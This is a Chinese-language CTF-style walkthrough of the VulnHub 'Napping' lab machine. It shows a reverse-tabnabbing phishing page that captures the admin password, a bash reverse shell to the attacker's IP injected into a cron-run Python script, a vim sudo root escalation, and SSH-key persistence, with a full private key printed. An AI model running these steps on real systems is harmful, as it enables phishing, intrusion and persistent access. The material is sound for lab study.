靶机下载地址:https://www.vulnhub.com/entry/napping-101,752/
教程链接地址:https://readysetexploit.gitlab.io/home/vulnhub/napping/

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 NAPPING:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  1. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. netdiscover 未发现目标主机,nmap 进一步扫描,判断目标 IP
    sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt

-> 目标机器的 ip 地址: 192.168.31.170

# 端口扫描

sudo nmap -A -p 1-1024 192.168.31.170 - oN /tmp/napping.txt

Image

# 钓鱼攻击 web

打开网站:http://192.168.31.170/

  1. 观察页面可进行注册并且登陆账号
Image Image
  1. 对此网站进行目录扫描

dirsearch -u http://192.168.31.170

Image

3)观察登陆后的网站,发现存在跳转漏洞

审查源代码之后,存在 target=’_blank’ 的代码,可进行利用

target=’_blank’漏洞利用:https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing
Image

-> 观察页面可知,管理员会执行页面上输入的 url 地址

  1. 接受访问着的用户名和密码并发送给 4444 端口,钓鱼管理员
1
2
wget http://192.168.31.170/index.php
cat index.php && mv index.php index.html

现在该站点表明该页面的管理员将查看我们的链接,管员看到的是我们伪造的和对方 index.html 一样的界面,管员有可能认为自己的账号被注销会重新输入账户密码,而由于这是我们构造的界面,对方输入的信息将会被我们所监听。

evil.html 的作用是重定向,本来的网址是 http://192.168.31.135/evil.html 但是访问
的这个文件之后将被重定向为 http://192.168.31.135:4444/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat > evil.html <<EOF
<!DOCTYPE html>
<html>
<head>
<title>My Blog</title>
</head>
<body>
<script>
if(window.opener)
window.opener.parent.location.replace('http://192.168.31.135:4444/index.html');
if(window.opener != window)
window.opener.parent.location.replace('http://192.168.31.135:4444/index.html');
</script>
</body>
</html>
EOF

提交指向我们 evil.html 链接
然后点击链接
我们将转到我们的 evil.html
但是原始标签将转到我们的 index.html,它看起来与登录页面完全相同
确保 Python 服务器在端口 80 和 4444 上运行

  1. 钓鱼攻击,等待鱼儿上钩

启动 80 端口的 http 服务: python3 -m http.server 80
开启 80 服务后,对方可以访问到 http://192.168.31.135/evil.html 并且访问的这
个文件之后将被重定向为 http://192.168.31.135:4444/index.html

-> 我们从 4444 端口处监听以便捕捉到对方的用户名和密码!

Image

nc -lvvp 4444

Image

-> 获得管理员账户:daniel 密码:C@ughtm3napping
注意这里的 %40 是 url 编码的 @

# 定时任务反弹 shell

  1. 得到账号密码,可以登入服务器,ssh daniel@192.168.31.170
Image
  1. 观察 /home 文件,分析可提权的文件
1
2
3
cat query.py
cat site_status.txt | head -n 10
tail -n 10 site_status.txt
Image

对方有一个定时任务,用来检测网站是否正常,如果正常的话,会将日志打印出来,这里我们以 adrian 这个用户执行反弹该用户权限的 shell.

1
2
3
4
5
6
# /dev/shm/是linux下一个非常有用的目录,因为这个目录不在硬盘上,而是在内存里。
cat > /dev/shm/shell.sh << EOF
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
EOF
chmod +x /dev/shm/shell.sh
Image
1
2
3
4
5
# 在query.py中添加此命令,用来执行反弹shell的命令:
cat >> query.py << EOF
import os
os.system('/usr/bin/bash /dev/shm/shell.sh')
EOF
Image
1
2
3
4
5
6
7
# 监听 4444 端口,等待定时任务被执行,shell成功反弹出来
nc - lvvp 4444

# 通过下面的命令来把终端标准一点显示:
python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z
stty raw -echo;fg then press ENTER twice
export TERM=xterm
Image

# vim-shell 提权

列出用户权限或检查特定命令
sudo -l
这里发现有可调用 root 执行无密码的 vim 命令

提权超级丰富的网址:https://gtfobins.github.io/

1
2
3
直接写一个 vim shell
sudo vim -c ‘:!/bin/sh’ 表示以root权限去写vim shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Image

# 篡改 authorized_keys 维权

靶机:

1
2
3
4
5
6
7
8
9
10
# 给靶机打印公钥
echo 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQCysSKgDq+5dEpirNHGl2j+ceqNRQHnSAHgQ3zsKqmUn9iyks
5L07z9Y34OEvUsYAxsFgdLtdD+MxufPPQwj8a77hmcqWguq5EmJUiZ7fA/peddvGR9Q5ypMpkuMFm2W2gIg
kVG+b4XPCQ0ydC9gn8ac7dReeMIykcD+vcQgpvHniK45rqAJJwbnb9MxNGDuPQHlSCSGA3FtHayNNsAmC
+ek1m2Qk3oVUF/8XGnjHvw2fMTog8h41Se8lYgHLDf8o4IibuOxxxpNVYOIgUZ0Ahvg9+srGvzquDS/yqXDf
06aBGHj+ISjOZ9wrB/Qmg3ArylKCaRk8UztsXg4gkCKiGiAynYY/EqNzXAuR42A1lby+kf9FUwSXGp8wdRG
YVc3yOWQm+lHy5Ov1RqdSCsMMYkyqAOV+2weoRki9iONN8h7YVWX9hBoVPpRiLKDfG3aLkjRVyPrpx
+qVHNo8rYHI9zjiTAhM/PJFarLhMEg+e3AvbEPBCN6p5lmO3lAdXX40= root@earth' >>
~/.ssh/authorized_keys

攻击机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 给攻击机打印私钥,注意私钥里边的第一行不能有空行
echo '
-----BEGIN OPENSSH PRIVATE KEY-----
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
PJaNWLEHEcEcOTAAAACnJvb3RAZWFydGg=
-----END OPENSSH PRIVATE KEY-----
' >> ~/.ssh/vulnhub

1
2
3
# 利用ssh私钥登录
chmod 700 ~/.ssh/vulnhub
ssh root@192.168.31.170 -i ~/.ssh/vulnhub

-> 成功登陆到了对方服务器

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝